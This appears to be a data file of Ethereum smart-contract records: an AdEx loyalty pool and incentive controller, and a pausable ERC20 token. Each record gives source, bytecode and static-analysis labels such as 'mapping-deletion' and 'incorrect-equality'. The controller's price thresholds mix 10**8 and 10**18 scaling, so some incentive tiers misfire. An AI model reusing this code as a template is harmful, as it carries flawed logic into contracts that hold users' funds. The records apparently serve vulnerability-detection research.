0x6080604052600436106100b65763ffffffff60e060020a6000350416630c3f64bf81146100f45780630efcf295146101295780631785f53c1461014357806324d7806c146101645780632b7832b3146101855780632c296656146101ac578063372cd183146101c457806339f636ab146101ed5780638d06804314610205578063a553506e1461021a578063af1c084d1461024b578063cebc141a1461026c578063ed3643d614610281578063fcf2f85f146102c0575b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156100f1573d6000803e3d6000fd5b50005b34801561010057600080fd5b50610115600160a060020a03600435166102d5565b604080519115158252519081900360200190f35b34801561013557600080fd5b506101416004356102f8565b005b34801561014f57600080fd5b50610141600160a060020a036004351661037a565b34801561017057600080fd5b50610115600160a060020a036004351661075a565b34801561019157600080fd5b5061019a610778565b60408051918252519081900360200190f35b3480156101b857600080fd5b5061014160043561077e565b3480156101d057600080fd5b50610141600160a060020a0360043516602435604435151561090e565b3480156101f957600080fd5b50610141600435610aa9565b34801561021157600080fd5b5061019a610c39565b34801561022657600080fd5b50610232600435610c3f565b6040805192835260208301919091528051918290030190f35b34801561025757600080fd5b5061019a600160a060020a0360043516610cf2565b34801561027857600080fd5b5061019a610d10565b34801561028d57600080fd5b506102a2600435602435604435606435610d16565b60408051938452602084019290925282820152519081900360600190f35b3480156102cc57600080fd5b5061019a610f57565b600160a060020a0316600090815260026020526040902054610100900460ff1690565b3360009081526002602052604090205460ff61010090910416151560011461036c576040805160e560020a62461bcd028152602060048201526029602482015260008051602061138383398151915260448201526000805160206113a3833981519152606482015290519081900360840190fd5b610377600182610f5d565b50565b3360009081526002602052604090205460ff6101009091041615156001146103ee576040805160e560020a62461bcd028152602060048201526029602482015260008051602061138383398151915260448201526000805160206113a3833981519152606482015290519081900360840190fd5b60035460011061045c576040805160e560020a62461bcd028152602060048201526033602482015260008051602061136383398151915260448201527f206c657373207468616e20322061646d696e7300000000000000000000000000606482015290519081900360840190fd5b60055460035410156104f2576040805160e560020a62461bcd02815260206004820152604f602482015260008051602061136383398151915260448201527f206c6573732061646d696e73207468616e206e756d626572206f66207265717560648201527f69726564207369676e6174757265730000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03811660009081526002602052604090205460ff610100909104161515600114156106225760045460011061058c576040805160e560020a62461bcd028152602060048201526031602482015260008051602061136383398151915260448201527f206c657373207468616e20322064657673000000000000000000000000000000606482015290519081900360840190fd5b6006546004541015610622576040805160e560020a62461bcd028152602060048201526051602482015260008051602061136383398151915260448201527f206c6573732064657673207468616e206e756d626572206f662072657175697260648201527f656420646576207369676e617475726573000000000000000000000000000000608482015290519081900360a40190fd5b61065060016006547f72656d6f766541646d696e00000000000000000000000000000000000000000061100f565b1515600114156103775761068560017f72656d6f766541646d696e000000000000000000000000000000000000000000610f5d565b600160a060020a03811660009081526002602052604090205460ff161515600114156106eb57600160a060020a0381166000908152600260205260409020805460ff1916905560038054600019019055600554600110156106eb57600580546000190190555b600160a060020a03811660009081526002602052604090205460ff6101009091041615156001141561037757600160a060020a0381166000908152600260205260409020805461ff00191690556004805460001901905560065460011015610377576006805460001901905550565b600160a060020a031660009081526002602052604090205460ff1690565b60035490565b3360009081526002602052604090205460ff6101009091041615156001146107f2576040805160e560020a62461bcd028152602060048201526029602482015260008051602061138383398151915260448201526000805160206113a3833981519152606482015290519081900360840190fd5b60008111801561080457506004548111155b15156108a6576040805160e560020a62461bcd02815260206004820152604960248201527f6368616e676552657175697265644465765369676e617475726573206661696c60448201527f6564202d206d757374206265206265747765656e203120616e64206e756d626560648201527f72206f6620646576730000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b6108d460016006547f6368616e676552657175697265644465765369676e617475726573000000000061100f565b1515600114156103775761090960017f6368616e676552657175697265644465765369676e6174757265730000000000610f5d565b600655565b3360009081526002602052604090205460ff610100909104161515600114610982576040805160e560020a62461bcd028152602060048201526029602482015260008051602061138383398151915260448201526000805160206113a3833981519152606482015290519081900360840190fd5b6109b060016006547f61646441646d696e00000000000000000000000000000000000000000000000061100f565b151560011415610a89576109e560017f61646441646d696e000000000000000000000000000000000000000000000000610f5d565b600160a060020a03831660009081526002602052604090205460ff161515610a3f57600160a060020a0383166000908152600260205260409020805460ff1916600190811790915560038054820190556005805490910190555b60018115151415610a8957600160a060020a0383166000908152600260205260409020805461ff001916610100831515021790556004805460019081019091556006805490910190555b50600160a060020a03909116600090815260026020526040902060010155565b3360009081526002602052604090205460ff610100909104161515600114610b1d576040805160e560020a62461bcd028152602060048201526029602482015260008051602061138383398151915260448201526000805160206113a3833981519152606482015290519081900360840190fd5b600081118015610b2f57506003548111155b1515610bd1576040805160e560020a62461bcd02815260206004820152604860248201527f6368616e676552657175697265645369676e617475726573206661696c65642060448201527f2d206d757374206265206265747765656e203120616e64206e756d626572206f60648201527f662061646d696e73000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b610bff60016006547f6368616e676552657175697265645369676e617475726573000000000000000061100f565b15156001141561037757610c3460017f6368616e676552657175697265645369676e6174757265730000000000000000610f5d565b600555565b60055490565b33600090815260026020526040812054819060ff161515600114610cd3576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b610cde6001846111c6565b610ce96001856111ea565b91509150915091565b600160a060020a031660009081526002602052604090206001015490565b60045490565b336000908152600260205260408120548190819060ff161515600114610dac576040805160e560020a62461bcd02815260206004820152602e60248201527f6f6e6c7941646d696e73206661696c6564202d206d73672e73656e646572206960448201527f73206e6f7420616e2061646d696e000000000000000000000000000000000000606482015290519081900360840190fd5b3063af1c084d610dbe60018a8a611211565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610e0957600080fd5b505af1158015610e1d573d6000803e3d6000fd5b505050506040513d6020811015610e3357600080fd5b50513063af1c084d610e4760018b8a611211565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610e9257600080fd5b505af1158015610ea6573d6000803e3d6000fd5b505050506040513d6020811015610ebc57600080fd5b50513063af1c084d610ed060018c8a611211565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610f1b57600080fd5b505af1158015610f2f573d6000803e3d6000fd5b505050506040513d6020811015610f4557600080fd5b50519199909850909650945050505050565b60065490565b6000806000610f6b846112ce565b9250600090505b600083815260208690526040902060010154811015610ff457600083815260208681526040808320848452600381018084528285208054600160a060020a031680875260029093018552928520805460ff191690559385905292909152805473ffffffffffffffffffffffffffffffffffffffff191690559150600101610f72565b50506000908152602092909252506040812081815560010155565b6000806000806000611020866112ce565b600081815260208a9052604080822060010154905192965094503393509036908083838082843760405192018290039091209450505084151591506110ea905057600084815260208981526040808320848155600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a90529081018054909101908190558714156110e557600194506111bb565b6111bb565b6000848152602089905260409020548114156111bb57600084815260208981526040808320600160a060020a038616845260020190915290205460ff16151561119d57600084815260208981526040808320600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190555b6000848152602089905260409020600101548714156111bb57600194505b505050509392505050565b6000806111d2836112ce565b60009081526020949094525050604090912054919050565b6000806111f6836112ce565b60009081526020949094525050604090912060010154919050565b600080808311611291576040805160e560020a62461bcd02815260206004820152602860248201527f4d5346756e20636865636b5369676e6572206661696c6564202d2030206e6f7460448201527f20616c6c6f776564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b61129a846112ce565b60008181526020878152604080832060001988018452600301909152902054600160a060020a031692509050509392505050565b6040805160208082018490526c01000000000000000000000000300282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106113305780518252601f199092019160209182019101611311565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050560072656d6f766541646d696e206661696c6564202d2063616e6e6f7420686176656f6e6c7944657673206661696c6564202d206d73672e73656e646572206973206e6f742061206465760000000000000000000000000000000000000000000000a165627a7a72305820101bfacd1f8a48b9c5e782ec37216d86142044060f10f5059e2fc1a368d31cbf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}]}}
| 8,093 |
0xb38d2e4600cf1d46dd6b1cdafd4584c2c2ea195b
|
pragma solidity ^0.6.12;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface ISupplyController {
function mint(address token, address owner, uint amount) external;
}
interface IADXToken {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address spender) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function supplyController() external view returns (ISupplyController);
}
contract ADXLoyaltyPoolToken {
using SafeMath for uint;
// ERC20 stuff
// Constants
string public constant name = "AdEx Loyalty";
uint8 public constant decimals = 18;
string public symbol = "ADX-LOYALTY";
// Mutable variables
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// EIP 2612
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
// ERC20 events
event Approval(address indexed owner, address indexed spender, uint amount);
event Transfer(address indexed from, address indexed to, uint amount);
function balanceOf(address owner) external view returns (uint balance) {
return balances[owner];
}
function transfer(address to, uint amount) external returns (bool success) {
require(to != address(this), 'BAD_ADDRESS');
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint amount) external returns (bool success) {
balances[from] = balances[from].sub(amount);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint amount) external returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint remaining) {
return allowed[owner][spender];
}
// EIP 2612
function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'DEADLINE_EXPIRED');
bytes32 digest = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline))
));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNATURE');
allowed[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// Inner
function innerMint(address owner, uint amount) internal {
totalSupply = totalSupply.add(amount);
balances[owner] = balances[owner].add(amount);
// Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1
emit Transfer(address(0), owner, amount);
}
function innerBurn(address owner, uint amount) internal {
totalSupply = totalSupply.sub(amount);
balances[owner] = balances[owner].sub(amount);
emit Transfer(owner, address(0), amount);
}
// Pool functionality
event LogSetGovernance(address indexed addr, bool hasGovt, uint time);
event LogSetIncentive(uint incentive, uint time);
IADXToken public ADXToken;
uint public incentivePerTokenPerAnnum;
uint public lastMintTime;
uint public maxTotalADX;
mapping (address => bool) public governance;
constructor(IADXToken token, uint incentive, uint cap) public {
ADXToken = token;
incentivePerTokenPerAnnum = incentive;
maxTotalADX = cap;
governance[msg.sender] = true;
lastMintTime = block.timestamp;
// EIP 2612
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
emit LogSetGovernance(msg.sender, true, block.timestamp);
emit LogSetIncentive(incentive, block.timestamp);
}
// Governance functions
function setGovernance(address addr, bool hasGovt) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
governance[addr] = hasGovt;
emit LogSetGovernance(addr, hasGovt, block.timestamp);
}
// This doesn't trigger a mint because otherwise we risk of being unable to setIncentive to 0
// if minting is impossible
// It's the better tradeoff to make - and the issue of front-running mintIncnetive with setIncentive(0) can
// be solved by timelocking the governance
function setIncentive(uint newIncentive) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
incentivePerTokenPerAnnum = newIncentive;
lastMintTime = block.timestamp;
emit LogSetIncentive(newIncentive, block.timestamp);
}
function setSymbol(string calldata newSymbol) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
symbol = newSymbol;
}
function setMaxTotalADX(uint newMaxTotalADX) external {
require(governance[msg.sender], 'NOT_GOVERNANCE');
maxTotalADX = newMaxTotalADX;
}
// Pool stuff
// There are a few notable items in how minting works
// 1) if ADX is sent to the LoyaltyPool in-between mints, it will calculate the incentive as if this amount
// has been there the whole time since the last mint
// 2) Compounding is happening when mint is called, so essentially when entities enter/leave/trigger it manually
function toMint() external view returns (uint) {
if (block.timestamp <= lastMintTime) return 0;
uint totalADX = ADXToken.balanceOf(address(this));
return (block.timestamp - lastMintTime)
.mul(totalADX)
.mul(incentivePerTokenPerAnnum)
.div(365 days * 10e17);
}
function shareValue() external view returns (uint) {
if (totalSupply == 0) return 0;
return ADXToken.balanceOf(address(this))
.add(this.toMint())
.mul(10e17)
.div(totalSupply);
}
function mintIncentive() public {
if (incentivePerTokenPerAnnum == 0) return;
uint amountToMint = this.toMint();
if (amountToMint == 0) return;
lastMintTime = block.timestamp;
ADXToken.supplyController().mint(address(ADXToken), address(this), amountToMint);
}
function enter(uint256 amount) external {
// Please note that minting has to be in the beginning so that we take it into account
// when using ADXToken.balanceOf()
// Minting makes an external call but it's to a trusted contract (ADXToken)
mintIncentive();
uint totalADX = ADXToken.balanceOf(address(this));
require(totalADX.add(amount) <= maxTotalADX, 'REACHED_MAX_TOTAL_ADX');
// The totalADX == 0 check here should be redudnant; the only way to get totalSupply to a nonzero val is by adding ADX
if (totalSupply == 0 || totalADX == 0) {
innerMint(msg.sender, amount);
} else {
uint256 newShares = amount.mul(totalSupply).div(totalADX);
innerMint(msg.sender, newShares);
}
require(ADXToken.transferFrom(msg.sender, address(this), amount));
}
function leaveInner(uint256 shares) internal {
uint256 totalADX = ADXToken.balanceOf(address(this));
uint256 adxAmount = shares.mul(totalADX).div(totalSupply);
innerBurn(msg.sender, shares);
require(ADXToken.transfer(msg.sender, adxAmount));
}
function leave(uint256 shares) external {
mintIncentive();
leaveInner(shares);
}
// Guarantees ADX can be taken out even if minting is failing
function emergencyLeave(uint256 shares) external {
leaveInner(shares);
}
}
interface IChainlinkSimple {
function latestAnswer() external view returns (uint);
}
// NOTE: If this needs to be upgraded, we just deploy a new instance and remove the governance rights
// of the old instance and set rights for the new instance
contract ADXLoyaltyPoolIncentiveController {
IChainlinkSimple public constant ADXUSDOracle = IChainlinkSimple(0x231e764B44b2C1b7Ca171fa8021A24ed520Cde10);
ADXLoyaltyPoolToken public immutable loyaltyPool;
constructor(ADXLoyaltyPoolToken lpt) public {
loyaltyPool = lpt;
}
function adjustIncentive() external {
// Mint the current incurred incentive before changing the rate,
// otherwise new rate would be applied for the entire period since the last mint
loyaltyPool.mintIncentive();
// At some point we might enable bonus periods:
// if (block.timestamp < ...) { ... }
// Or overinflation protection
// if (loyaltyPool.ADXToken().totalSupply() > ...) { ... }
// Reset the rate based on the price from the Chainlink oracle
uint price = ADXUSDOracle.latestAnswer();
require(price > 0, 'INVALID_ANSWER');
if (price < 0.05*10**8) {
loyaltyPool.setIncentive(uint(0.10*10**18));
} else if (price < 0.10*10**18) {
loyaltyPool.setIncentive(uint(0.15*10**18));
} else if (price < 0.20*10**18) {
loyaltyPool.setIncentive(uint(0.25*10**18));
} else if (price < 0.30*10**18) {
loyaltyPool.setIncentive(uint(0.30*10**18));
} else if (price < 0.50*10**18) {
loyaltyPool.setIncentive(uint(0.35*10**18));
} else if (price < 1.00*10**18) {
loyaltyPool.setIncentive(uint(0.40*10**18));
} else if (price < 2.00*10**18) {
loyaltyPool.setIncentive(uint(0.45*10**18));
} else {
loyaltyPool.setIncentive(uint(0.50*10**18));
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806382abf6b214610046578063b6dcaf6514610050578063ca5d381314610084575b600080fd5b61004e6100b8565b005b610058610777565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61008c61078f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16631564819f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561012057600080fd5b505af1158015610134573d6000803e3d6000fd5b50505050600073231e764b44b2c1b7ca171fa8021a24ed520cde1073ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561019457600080fd5b505afa1580156101a8573d6000803e3d6000fd5b505050506040513d60208110156101be57600080fd5b8101908080519060200190929190505050905060008111610247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f494e56414c49445f414e5357455200000000000000000000000000000000000081525060200191505060405180910390fd5b624c4b408110156102ea577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167016345785d8a00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156102cd57600080fd5b505af11580156102e1573d6000803e3d6000fd5b50505050610774565b67016345785d8a0000811015610392577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670214e8348c4f00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561037557600080fd5b505af1158015610389573d6000803e3d6000fd5b50505050610773565b6702c68af0bb14000081101561043a577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116703782dace9d900006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561041d57600080fd5b505af1158015610431573d6000803e3d6000fd5b50505050610772565b670429d069189e00008110156104e2577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670429d069189e00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156104c557600080fd5b505af11580156104d9573d6000803e3d6000fd5b50505050610771565b6706f05b59d3b2000081101561058a577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116704db7325476300006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561056d57600080fd5b505af1158015610581573d6000803e3d6000fd5b50505050610770565b670de0b6b3a7640000811015610632577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167058d15e1762800006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b5050505061076f565b671bc16d674ec800008110156106da577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167063eb89da4ed00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156106bd57600080fd5b505af11580156106d1573d6000803e3d6000fd5b5050505061076e565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116706f05b59d3b200006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561075557600080fd5b505af1158015610769573d6000803e3d6000fd5b505050505b5b5b5b5b5b5b50565b73231e764b44b2c1b7ca171fa8021a24ed520cde1081565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c8156fea264697066735822122067803eb19781617190b60c2e196c43c5253c348526740d7c593a1378de55507d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,094 |
0x9f103cd6fb907928351353e6f339c3fdcd5ee05c
|
pragma solidity ^0.4.24;
// File: contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts\TrilliamToken.sol
contract TrilliamToken is PausableToken {
string public name = "Trilliam";
string public symbol = "TRIM";
uint8 public decimals = 18;
string public version = "1.0";
uint256 public INITIAL_SUPPLY = 500 * (10**6) * (uint256(10)**decimals); //500M
constructor() public {
